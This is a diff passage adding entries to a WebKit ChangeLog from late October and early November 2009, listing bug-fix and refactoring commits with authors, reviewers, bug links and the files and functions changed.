+2009-11-01  Keishi Hattori  <casey.hattori@gmail.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Double clicking on a breakpoints should not select text
+        https://bugs.webkit.org/show_bug.cgi?id=30950
+
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame.prototype._documentMouseDown):
+
+2009-11-01  Yuta Kitamura  <yutak@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Fix assertion falure in RenderObjectChildList::updateBeforeAfterContent().
+
+        [Crash (debug)] Combination of list-item and :after causes assertion failure
+        https://bugs.webkit.org/show_bug.cgi?id=30944
+
+        Test: fast/css/list-item-pseudo-nocrash.html
+
+        * rendering/RenderObjectChildList.cpp:
+        (WebCore::RenderObjectChildList::updateBeforeAfterContent):
+
+2009-11-01  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30586
+        [GTK] Failing test media/video-src-empty.html
+
+        Correctly set network/ready state depending on GStreamer errors
+        received on the bus.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::mediaPlayerPrivateMessageCallback):
+
+2009-10-31  Oliver Hunt  <oliver@apple.com>
+
+        Build fix
+
+        * platform/graphics/mac/GraphicsContext3DMac.cpp:
+        (WebCore::GraphicsContext3D::attachShader):
+
+2009-10-31  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Remove obsolete null checks from CanvasRenderingContext3DMac
+        https://bugs.webkit.org/show_bug.cgi?id=30983
+
+        * platform/graphics/mac/GraphicsContext3DMac.cpp:
+        (WebCore::GraphicsContext3D::attachShader):
+        (WebCore::GraphicsContext3D::bindAttribLocation):
+        (WebCore::GraphicsContext3D::compileShader):
+        (WebCore::GraphicsContext3D::detachShader):
+        (WebCore::GraphicsContext3D::framebufferRenderbuffer):
+        (WebCore::GraphicsContext3D::framebufferTexture2D):
+        (WebCore::GraphicsContext3D::linkProgram):
+        (WebCore::GraphicsContext3D::shaderSource):
+        (WebCore::GraphicsContext3D::useProgram):
+        (WebCore::GraphicsContext3D::validateProgram):
+        (WebCore::GraphicsContext3D::getProgramInfoLog):
+        (WebCore::GraphicsContext3D::getShaderi):
+        (WebCore::GraphicsContext3D::getShaderiv):
+        (WebCore::GraphicsContext3D::getShaderInfoLog):
+        (WebCore::GraphicsContext3D::getShaderSource):
+        (WebCore::GraphicsContext3D::getUniformLocation):
+
+2009-10-31  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Jon Honeycutt.
+
+        WebGL allows objects to be used with the wrong context
+        https://bugs.webkit.org/show_bug.cgi?id=30981
+
+        Simply add null checks and a few context guards to ensure we don't
+        deref null or attempt to use an object from a different context.
+
+        Tests: fast/canvas/webgl/incorrect-context-object-behaviour.html
+               fast/canvas/webgl/null-object-behaviour.html
+
+        * html/canvas/CanvasRenderingContext3D.cpp:
+        (WebCore::CanvasRenderingContext3D::attachShader):
+        (WebCore::CanvasRenderingContext3D::bindAttribLocation):
+        (WebCore::CanvasRenderingContext3D::bindBuffer):
+        (WebCore::CanvasRenderingContext3D::bindFramebuffer):
+        (WebCore::CanvasRenderingContext3D::bindRenderbuffer):
+        (WebCore::CanvasRenderingContext3D::bindTexture):
+        (WebCore::CanvasRenderingContext3D::compileShader):
+        (WebCore::CanvasRenderingContext3D::detachShader):
+        (WebCore::CanvasRenderingContext3D::framebufferRenderbuffer):
+        (WebCore::CanvasRenderingContext3D::framebufferTexture2D):
+        (WebCore::CanvasRenderingContext3D::getProgrami):
+        (WebCore::CanvasRenderingContext3D::getProgramiv):
+        (WebCore::CanvasRenderingContext3D::getProgramInfoLog):
+        (WebCore::CanvasRenderingContext3D::getShaderi):
+        (WebCore::CanvasRenderingContext3D::getShaderiv):
+        (WebCore::CanvasRenderingContext3D::getShaderInfoLog):
+        (WebCore::CanvasRenderingContext3D::getShaderSource):
+        (WebCore::CanvasRenderingContext3D::getUniformf):
+        (WebCore::CanvasRenderingContext3D::getUniformfv):
+        (WebCore::CanvasRenderingContext3D::getUniformi):
+        (WebCore::CanvasRenderingContext3D::getUniformiv):
+        (WebCore::CanvasRenderingContext3D::getUniformLocation):
+        (WebCore::CanvasRenderingContext3D::isBuffer):
+        (WebCore::CanvasRenderingContext3D::linkProgram):
+        (WebCore::CanvasRenderingContext3D::shaderSource):
+        * html/canvas/CanvasRenderingContext3D.h:
+        * html/canvas/CanvasRenderingContext3D.idl:
+
+2009-10-30  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Allow custom memory allocation control for WebCore's MediaQueryResult
+        https://bugs.webkit.org/show_bug.cgi?id=30857
+
+        Inherits MediaQueryResult class from Noncopyable because it is
+        instantiated by 'new' in WebCore/css/CSSStyleSelector.cpp:5984 and
+        it is no need to be copyable.
+
+        * css/CSSStyleSelector.h:
+
+2009-10-30  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Allow custom memory allocation control for WebCore's MediaQueryEvaluator
+        https://bugs.webkit.org/show_bug.cgi?id=30854
+
+        Inherits MediaQueryEvaluator class from Noncopyable because it is
+        instantiated by 'new' in WebCore/css/CSSStyleSelector.cpp:401 and   
+        it is no need to be copyable.
+
+        * css/MediaQueryEvaluator.h:
+
+2009-10-30  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Allow custom memory allocation control for WebCore's CSSRuleSet
+        https://bugs.webkit.org/show_bug.cgi?id=30852
+
+        Inherits CSSRuleSet class from Noncopyable because it is
+        instantiated by 'new' in WebCore/css/CSSStyleSelector.cpp:455 and
+        it is no need to be copyable.
+
+        * css/CSSStyleSelector.cpp:
+
+2009-10-30  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Allow custom memory allocation control for WebCore's CSSRuleData
+        https://bugs.webkit.org/show_bug.cgi?id=30851
+
+        Inherits CSSRuleData class from Noncopyable because it is
+        instantiated by 'new' in WebCore/css/CSSStyleSelector.h:320 and
+        it is no need to be copyable.
+
+        * css/CSSStyleSelector.h:
+
+2009-10-30  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Allow custom memory allocation control for WebCore's CSSRuleDataList
+        https://bugs.webkit.org/show_bug.cgi?id=30850
+
+        Inherits CSSRuleDataList class from Noncopyable because it has been
+        instantiated by 'new' in WebCore/css/CSSStyleSelector.cpp:2715 and
+        it is no need to be copyable.
+
+        * css/CSSStyleSelector.h:
+
+2009-10-30  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Allow custom memory allocation control for WebCore's CSSNamespace
+        https://bugs.webkit.org/show_bug.cgi?id=30849
+
+        Inherits CSSNamespace struct from Noncopyable because it is
+        instantiated by 'new' in WebCore/css/CSSStyleSheet.cpp:141 and
+        it is no need to be copyable.
+
+        * css/CSSNamespace.h:
+
+2009-10-30  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by David Levin.
+
+        Refactor DatabaseTask in preparation for removing threadsafe refcounting from it.
+        Move the synchronizer object out of the DatabaseTask so there is no need to keep
+        the pointer to Databasetask around after passing it to MessageQueue.
+        Also pass the references to return parameters to the task so it can update them.
+        https://bugs.webkit.org/show_bug.cgi?id=30941
+
+        No new tests, since this is just moving the code around, no change in functionality.
+
+        * storage/Database.cpp:
+        (WebCore::Database::Database):
+        (WebCore::Database::openAndVerifyVersion): Use new DatabaseTaskSynchronizer to wait for task completion.
+        (WebCore::Database::markAsDeletedAndClose): Ditto.
+        (WebCore::Database::tableNames): Ditto.
+        (WebCore::Database::stop): Use the boolean flag rather then 'killed' flag built into MessageQueue.
+        (WebCore::Database::scheduleTransaction): Transaction queue is a Deque now, change the way to fetch the transaction.
+        * storage/Database.h: Change the SQLTransaction queue to be a Deque rather then a MessageQueue.
+        * storage/DatabaseTask.cpp:
+        (WebCore::DatabaseTaskSynchronizer::DatabaseTaskSynchronizer):
+        (WebCore::DatabaseTaskSynchronizer::waitForTaskCompletion):
+        (WebCore::DatabaseTaskSynchronizer::taskCompleted):
+        (WebCore::DatabaseTask::DatabaseTask): Ctor takes DatabaseTaskSynchronizer which can be 0.
+        (WebCore::DatabaseTask::performTask): Signal completion. m_synchronizer should still be around since main thread is waiting on it.
+        (WebCore::DatabaseOpenTask::DatabaseOpenTask): Pass synchronizer and return parameters via constructor.
+        (WebCore::DatabaseCloseTask::DatabaseCloseTask): Ditto.
+        (WebCore::DatabaseTransactionTask::DatabaseTransactionTask): Ditto.
+        (WebCore::DatabaseTableNamesTask::DatabaseTableNamesTask): Ditto.
+        * storage/DatabaseTask.h:
+        (WebCore::DatabaseOpenTask::create):
+        (WebCore::DatabaseCloseTask::create):
+        (WebCore::DatabaseTransactionTask::create):
+        (WebCore::DatabaseTableNamesTask::create):
+
+2009-10-30  Enrica Casucci  <enrica@apple.com>
+
+        Reviewed by Darin Adler.
+
+        REGRESSION: In Mail, Undo does not restore some characters I have deleted at the end of a line
+        https://bugs.webkit.org/show_bug.cgi?id=30955
+        <rdar://problem/7067033>
+        
+        When the command is deleteWordBackward or deleteWordForward
+        we should not add to the open typing command, but
+        create a new one.
+        
+        Test: editing/undo/undo-deleteWord.html
+
+        * editing/TypingCommand.cpp:
+        (WebCore::TypingCommand::deleteKeyPressed): Always start a new command if the granularity is
+        not CharacterGranularity. 
+        (WebCore::TypingCommand::forwardDeleteKeyPressed): Always start a new command if the granularity is
+        not CharacterGranularity. 
+
+2009-10-30  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Make MediaPlayer constructor private
+        https://bugs.webkit.org/show_bug.cgi?id=30965
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::loadResource): 
+        (WebCore::HTMLMediaElement::finishParsingChildren): Use MediaPlayer::create.
+
+        * platform/graphics/MediaPlayer.h:
+        (WebCore::MediaPlayer::create): New.
+
+2009-10-29  Jon Honeycutt  <jhoneycutt@apple.com>
+
+        MSAA: Accessibility of headings is not correct
+
+        https://bugs.webkit.org/show_bug.cgi?id=30937
+
+        Reviewed by Alice Liu.
+
+        * accessibility/AccessibilityObject.h:
+        (WebCore::AccessibilityObject::stringRoleForMSAA):
+        (WebCore::AccessibilityObject::descriptionForMSAA):
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::shouldReturnTagNameAsRoleForMSAA):
+        If the element's tag name is one of h1, h2, h3, h4, h5, h6, return
+        true.
+        (WebCore::AccessibilityRenderObject::stringRoleForMSAA):
+        If the element should return its tag name as the role, return the tag
+        name.
+        (WebCore::AccessibilityRenderObject::positionalDescriptionForMSAA):
+        If the object is a heading, return the string "L" followed by the
+        heading level.
+        (WebCore::AccessibilityRenderObject::descriptionForMSAA):
+        If the object has a positional description, return it. Otherwise, get
+        the accessibility description, and prefix it with "Description" so that
+        MSAA clients know that it's not a positional description.
+
+        * accessibility/AccessibilityRenderObject.h:
+
+2009-10-29  Jon Honeycutt  <jhoneycutt@apple.com>
+
+        MSAA: Accessibility of links is wrong
+
+        https://bugs.webkit.org/show_bug.cgi?id=30928
+
+        Reviewed by Darin Adler.
+
+        * accessibility/AccessibilityImageMapLink.cpp:
+        (WebCore::AccessibilityImageMapLink::stringValueForMSAA):
+        Return the URL.
+        (WebCore::AccessibilityImageMapLink::nameForMSAA):
+        Return the alt text.
+
+        * accessibility/AccessibilityImageMapLink.h:
+        (WebCore::AccessibilityImageMapLink::isLinked):
+        Return true.
+
+        * accessibility/AccessibilityObject.h:
+        (WebCore::AccessibilityObject::isLinked):
+        (WebCore::AccessibilityObject::stringValueForMSAA):
+        (WebCore::AccessibilityObject::nameForMSAA):
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::isLinkable):
+        Return true if the element is considered "linkable" with respect to
+        accessibility.
+        (WebCore::AccessibilityRenderObject::stringValueForMSAA):
+        If the element is linkable, check whether it has a parent anchor
+        element. If so, return the anchor element's href.
+        (WebCore::AccessibilityRenderObject::isLinked):
+        Return true if the element is linkable and if it's parent anchor tag's
+        href is non-empty.
+        (WebCore::AccessibilityRenderObject::nameForMSAA):
+        For text nodes, return the text.
+
+        * accessibility/AccessibilityRenderObject.h:
+
+2009-10-30  Evan Stade  <estade@chromium.org>
+
+        Reviewed by David Levin.
+
+        Notify the chrome when the focused node has changed.
+        https://bugs.webkit.org/show_bug.cgi?id=30832
+
+        This is similar to AX code that is already in place, except that this also informs the
+        chrome when there stops being a focused node. This is needed for a browser to show the
+        anchor for links that have keyboard focus.
+
+        * dom/Document.cpp:
+        (WebCore::Document::setFocusedNode):
+        * loader/EmptyClients.h:
+        (WebCore::EmptyChromeClient::focusedNodeChanged):
+        * page/Chrome.cpp:
+        (WebCore::Chrome::focusedNodeChanged):
+        * page/Chrome.h:
+        * page/ChromeClient.h:
+
+2009-10-30  Ben Murdoch  <benm@google.com>
+
+        Reviewed by David Kilzer.
+
+        openDatabase() with empty version sets db version up incorrectly
+        https://bugs.webkit.org/show_bug.cgi?id=28417
+
+        Test: storage/open-database-set-empty-version.html
+
+        * storage/Database.cpp:
+        (WebCore::Database::performOpenAndVerify): Raise an exception if the current database version does not match the expected version when the current version is the empty string.
+
+2009-10-30  John Gregg  <johnnyg@google.com>
+
+        Reviewed by David Levin.
+
+        Need to turn off notifications properly at runtime
+        https://bugs.webkit.org/show_bug.cgi?id=30409
+
+        Moving the notificationsEnabled bit from NotificationCenter
+        to the new V8 RuntimeEnabledFeatures object.
+
+        Just moving a bit around, so no new tests.
+
+        * bindings/v8/RuntimeEnabledFeatures.cpp:
+        * bindings/v8/RuntimeEnabledFeatures.h:
+        (WebCore::RuntimeEnabledFeatures::setNotificationsEnabled):
+        (WebCore::RuntimeEnabledFeatures::notificationsEnabled):
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::ACCESSOR_RUNTIME_ENABLER):
+        * bindings/v8/custom/V8WorkerContextCustom.cpp:
+        (WebCore::ACCESSOR_RUNTIME_ENABLER):
+        * notifications/NotificationCenter.cpp:
+        * notifications/NotificationCenter.h:
+
+2009-10-30  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] More cleanup after r49949: remove ListenerGuard.
+        ListenerGuard is no longer needed since EventListeners do not depend on frame or v8 context.
+        https://bugs.webkit.org/show_bug.cgi?id=30943
+
+        Covered by fast/events/add-event-without-document.html which will now pass in Chromium.
+
+        * bindings/v8/V8AbstractEventListener.cpp:
+        (WebCore::V8AbstractEventListener::V8AbstractEventListener):
+        (WebCore::V8AbstractEventListener::handleEvent):
+        * bindings/v8/V8AbstractEventListener.h:
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getEventListener):
+        * bindings/v8/V8EventListenerList.h:
+        (WebCore::V8EventListenerList::findOrCreateWrapper):
+        * bindings/v8/V8LazyEventListener.cpp:
+        (WebCore::V8LazyEventListener::V8LazyEventListener):
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::V8Proxy):
+        (WebCore::V8Proxy::disconnectFrame):
+        (WebCore::V8Proxy::clearForNavigation):
+        * bindings/v8/V8Proxy.h:
+        * bindings/v8/V8WorkerContextEventListener.cpp:
+        (WebCore::V8WorkerContextEventListener::V8WorkerContextEventListener):
+        (WebCore::V8WorkerContextEventListener::handleEvent):
+        (WebCore::V8WorkerContextEventListener::reportError):
+        * bindings/v8/V8WorkerContextEventListener.h:
+        (WebCore::V8WorkerContextEventListener::create):
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+        (WebCore::WorkerContextExecutionProxy::WorkerContextExecutionProxy):
+        (WebCore::WorkerContextExecutionProxy::dispose):
+        (WebCore::WorkerContextExecutionProxy::findOrCreateEventListener):
+        * bindings/v8/WorkerContextExecutionProxy.h:
+        * bindings/v8/custom/V8CustomEventListener.cpp:
+        (WebCore::V8EventListener::V8EventListener):
+        * bindings/v8/custom/V8CustomEventListener.h:
+        (WebCore::V8EventListener::create):
+
+2009-10-30  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        counterValueForElementById should return space-separated string for multiple counters
+        https://bugs.webkit.org/show_bug.cgi?id=30939
+
+        Test: fast/css/counters/counterValueForElementById.html
+
+        * rendering/RenderTreeAsText.cpp:
+        (WebCore::writeCounterValuesFromChildren):
+        (WebCore::counterValueForElement):
+
+2009-10-30  Sebastian Dröge  <sebastian.droege@collabora.co.uk>
+
+        Reviewed by Gustavo Noronha.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::paint):
+        Add some comments to explain what is happening here.
+
+2009-10-30  Alexander Pavlov  <apavlov@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Fix Web Inspector crash on the errors/warnings counter click
+
+        RenderObject::createVisiblePosition(const Position& position)
+        understands "null Positions", so we can construct such a Position manually.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30499
+
+        * rendering/RenderBox.cpp:
+        (WebCore::RenderBox::positionForPoint):
+
+2009-10-30  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
+
+        Reviewed by Xan Lopez.
+
+        https://bugs.webkit.org/show_bug.cgi?id=25534
+        [GTK] Objects of ROLE_TABLE should implement the accessible table interface
+
+        Third part of the implementation of AtkTable.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (nameFromChildren):
+        (webkit_accessible_get_name):
+        New convenience function to construct an object's name using the name(s) of
+        any children it has.
+
+        (atk_table_interface_init):
+        (webkit_accessible_table_get_column_description):
+        (webkit_accessible_table_get_row_description):
+        Implemented.
+
+        (webkit_accessible_table_get_column_header):
+        Stub function added so that webkit_accessible_table_get_column_description
+        could be implemented in the meantime.
+
+2009-10-30  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
+
+        Reviewed by Xan Lopez.
+
+        https://bugs.webkit.org/show_bug.cgi?id=25534
+        [GTK] Objects of ROLE_TABLE should implement the accessible table interface
+
+        Second part of the implementation of AtkTable.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (cellAtIndex):
+        (webkit_accessible_table_get_column_at_index):
+        (webkit_accessible_table_get_row_at_index):
+        (webkit_accessible_table_get_caption):
+        (atk_table_interface_init):
+
+2009-10-30  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Add TimelinePanel into the panels enum.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30915
+
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::showPanel):
+        * inspector/front-end/inspector.js:
+        (WebInspector.showTimelinePanel):
+
+2009-10-30  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+
+        Reviewed by Holger Hans Peter Freyther.
+
+        If the owner widget of the page has a palette set, we
+        should use that one. This was only working when the
+        owner was a QWebView. This patch fixes that.
+
+        * platform/qt/RenderThemeQt.cpp:
+        (WebCore::RenderThemeQt::applyTheme):
+
+2009-10-30  Pavel Feldman  <pfeldman@chromium.org>
+
+        Not reviewed: Wire CookieJarChromium to the cookies
+        backend. This is a final step of a 3-steps raw cookies
+        access implementation in Chromium.
+
+        * platform/network/chromium/CookieJarChromium.cpp:
+        (WebCore::getRawCookies):
+        (WebCore::deleteCookie):
+
+2009-10-30  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Fix Chromium crash in console.log in "deeply recursive" function 
+
+        Check that result of 'frameSourceName' is not null handle
+        before casting it to String. 
+      
+        Allow V8Proxy::sourceName/sourceLineNumber() to report
+        that they have failed due to JavaScript stack overflow.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30904
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/ScriptCallStack.cpp:
+        (WebCore::ScriptCallStack::create):
+        (WebCore::ScriptCallStack::ScriptCallStack):
+        * bindings/v8/ScriptCallStack.h:
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::sourceLineNumber):
+        (WebCore::V8Proxy::sourceName):
+        * bindings/v8/V8Proxy.h:
+        * bindings/v8/custom/V8WorkerContextCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+
+2009-10-30  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Allow custom memory allocation control for WebCore's MediaQuery
+        https://bugs.webkit.org/show_bug.cgi?id=30856
+
+        Inherits MediaQuery class from Noncopyable because it is
+        instantiated by 'new' in WebCore/css/CSSParser.cpp:4905 and
+        it is no need to be copyable.
+
+        * css/CSSStyleSelector.h:
+
+2009-10-30  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Allow custom memory allocation control for WebCore's MediaQueryExp
+        https://bugs.webkit.org/show_bug.cgi?id=30855
+
+        Inherits MediaQueryExp class from FastAllocBase because it is
+        instantiated by 'new' in WebCore/css/CSSParser.cpp:4874.
+
+        * css/MediaQueryExp.h:
+
+2009-10-30  Roland Steiner  <rolandsteiner@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Remove ENABLE_RUBY guards as discussed with Dave Hyatt and Maciej Stachowiak.
+
+        Bug 28420 -  Implement HTML5 <ruby> rendering
+        (https://bugs.webkit.org/show_bug.cgi?id=28420)
+
+        No new tests (no functional change).
+
+        * Configurations/FeatureDefines.xcconfig:
+        * DerivedSources.make:
+        * GNUmakefile.am:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCoreCommon.vsprops:
+        * WebCore.vcproj/build-generated-files.sh:
+
+2009-10-30  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Adele Peterson.
+
+        Removed test for an impossible condition (a glyph in a right-to-left run not having
+        the RTL flag 0x800)
+
+        * platform/graphics/mac/ComplexTextControllerATSUI.cpp:
+        (WebCore::ComplexTextController::ComplexTextRun::overrideLayoutOperation):
+
+2009-10-29  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Out-of-memory crash in isolated worlds
+        https://bugs.webkit.org/show_bug.cgi?id=30906
+
+        We need to handle the fact that creating a V8:Context might fail.  I
+        don't know how to test this change because creating a context usually
+        only fails when V8 decides it's using too much memory.
+
+        * bindings/v8/V8IsolatedWorld.cpp:
+        (WebCore::V8IsolatedWorld::V8IsolatedWorld):
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::evaluateInIsolatedWorld):
+        (WebCore::V8Proxy::evaluateInNewContext):
+
+2009-10-29  Erik Arvidsson  <arv@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Make links mouse focusable only on GTK and QT.
+
+        Links are now always mouse focusable on GTK and QT. On other platforms
+        the link needs a tabIndex or it needs to be contentEditable.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26856
+
+        * html/HTMLAnchorElement.cpp:
+        (WebCore::HTMLAnchorElement::isMouseFocusable):
+
+2009-10-29  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Complete the fix for hit-testing and selection highlighting in ligatures for the ATSUI
+        code path.
+
+        * platform/graphics/mac/ComplexTextController.h: Added m_ltr member to ComplexTextRun.
+        * platform/graphics/mac/ComplexTextControllerATSUI.cpp:
+        (WebCore::ComplexTextController::ComplexTextRun::overrideLayoutOperation): Skip over deleted
+        glyphs, but update indexes and advances correctly.
+        (WebCore::ComplexTextController::ComplexTextRun::ComplexTextRun): Initialize m_ltr.
+
+2009-10-29  Enrica Casucci  <enrica@apple.com>
+
+        Reviewed by Darin Adler.
+
+        REGRESSION(3.2.3 - 4.0.2): Message composing: when I undo a color change to text in Mail, undo/redo behaves strangely
+        <rdar://problem/7115041>
+        https://bugs.webkit.org/show_bug.cgi?id=30892
+
+        This problem shows in any scenario where it is necessary to split a text
+        node to apply a style. SplitElementCommand and WrapContentsInDummySpanCommand both
+        have member variables initialized in the constructor to keep reference to elements
+        they need to operate upon. These reference are not updated when reapplying the command.
+        For this reason it is necessary to guarantee that unapply doesn not delete the references
+        and that these commands implement doReapply to correctly reuse the existing
+        elements.
+
+        Test: editing/undo/redo-style.html
+
+        * editing/SplitElementCommand.cpp:
+        (WebCore::SplitElementCommand::executeApply): Added.
+        (WebCore::SplitElementCommand::doApply): Modified to call executeApply. 
+        (WebCore::SplitElementCommand::doUnapply): Doesn't release m_element1.
+        (WebCore::SplitElementCommand::doReapply): Added.
+        * editing/SplitElementCommand.h: Added doReapply and executeApply.
+        * editing/WrapContentsInDummySpanCommand.cpp:
+        (WebCore::WrapContentsInDummySpanCommand::executeApply): Added.
+        (WebCore::WrapContentsInDummySpanCommand::doApply): Modified to call executeApply.
+        (WebCore::WrapContentsInDummySpanCommand::doUnapply): Doesn't release m_dummySpan.
+        (WebCore::WrapContentsInDummySpanCommand::doReapply): Added.
+        * editing/WrapContentsInDummySpanCommand.h: Added doReapply and executeApply.
+
+2009-10-29  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        DOM Storage's condition variable needs to handle spurious wakeups
+        https://bugs.webkit.org/show_bug.cgi?id=30920
+
+        Add a boolean to keep track of whether it's been terminated.  Clean
+        up the locking code a tiny bit to make it easier to read.  There's
+        no way to reproduce this reliably in a LayoutTest.
+
+        * storage/LocalStorageThread.cpp:
+        (WebCore::LocalStorageThread::LocalStorageThread):
+        (WebCore::LocalStorageThread::terminate):
+        (WebCore::LocalStorageThread::performTerminate):
+        * storage/LocalStorageThread.h:
+
+2009-10-29  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Unreviewed, build fix.
+
+        [Chromium] Include ComplextTextController into Chromium Mac project.
+
+        * WebCore.gyp/WebCore.gyp: Added include rule for ComplextText* files.
+
+2009-10-29  Timothy Hatcher  <timothy@apple.com>
+
+        Fix tabbing through element attributes in the Web Insector.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30429
+
+        Reviewed by Pavel Feldman.
+
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeElement.prototype._attributeEditingCommitted): Don't call _updateTitle,
+        it is called for us when removeAttribute succeeds in the back-end.
+        (WebInspector.ElementsTreeElement.prototype._textNodeEditingCommitted): Ditto except for nodeValue.
+        (WebInspector.ElementsTreeElement.prototype._editingCancelled): Don't call _updateTitle, editing code reverts.
+        (WebInspector.ElementsTreeElement.prototype._updateTitle): Return early if we are editing.
+
+2009-10-29  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Problem editing or selecting text containing ligatures
+        https://bugs.webkit.org/show_bug.cgi?id=30025
+
+        Test: platform/mac/fast/text/ligature-subdivision.html
+
+        * platform/graphics/mac/ComplexTextController.cpp:
+        (WebCore::ComplexTextController::ComplexTextController): Initialize
+        m_characterInCurrentGlyph.
+        (WebCore::ComplexTextController::offsetForPosition): If the hit glyph spans multiple
+        characters, compute the hit character based on dividing the glyph’s total advance into
+        a number of equal intervals equal to the number of characters and assigning the hit to the
+        character corresponding to the hit interval.
+        (WebCore::ComplexTextController::advance): If the final offset occurs mid-glyph, advance
+        by a fraction of the glyph’s total advance.
+        * platform/graphics/mac/ComplexTextController.h: Added m_characterInCurrentGlyph.
+
+2009-10-29  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Fixes <http://webkit.org/b/30918>.
+        Web Inspector: Datagrid Rows on Windows not properly aligned.
+        
+        Use line-height for the table rows to make sure the height
+        of our text and the height of the table rows are consistent.
+
+        * inspector/front-end/inspector.css:
+
+2009-10-29  Adam Barth  <abarth@webkit.org>
+
+        No review, rolling out r50296.
+        http://trac.webkit.org/changeset/50296
+
+        * bindings/v8/V8IsolatedWorld.cpp:
+        (WebCore::V8IsolatedWorld::V8IsolatedWorld):
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::evaluateInIsolatedWorld):
+        (WebCore::V8Proxy::evaluateInNewContext):
+
+2009-10-29  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Out-of-memory crash in isolated worlds
+        https://bugs.webkit.org/show_bug.cgi?id=30906
+
+        We need to handle the fact that creating a V8:Context might fail.  I
+        don't know how to test this change because creating a context usually
+        only fails when V8 decides it's using too much memory.
+
+        * bindings/v8/V8IsolatedWorld.cpp:
+        (WebCore::V8IsolatedWorld::V8IsolatedWorld):
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::evaluateInIsolatedWorld):
+        (WebCore::V8Proxy::evaluateInNewContext):
+
+2009-10-29  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Reviewed by Xan Lopez.
+
+        Remove build warning introduced by r50284.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::duration):
+
+2009-10-29  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        [V8] Remove random crashes by removing retrieval of V8 context during garbage collection.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30919
+
+        Unfortunately, I haven't been able to trigger this crash explicitly, so no test :(.
+
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::jsWrapperForDOMObject): Added new "assume-it's-there" getter.
+        * bindings/v8/V8DOMWrapper.h: Added getter decl.
+        * bindings/v8/V8GCController.cpp:
+        (WebCore::GCPrologueVisitor::visitDOMWrapper): Changed to use explicit getter.
+
+2009-10-29  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Unreviewed, build fix.
+
+        [Chromium] Adjust the project files to sync up with
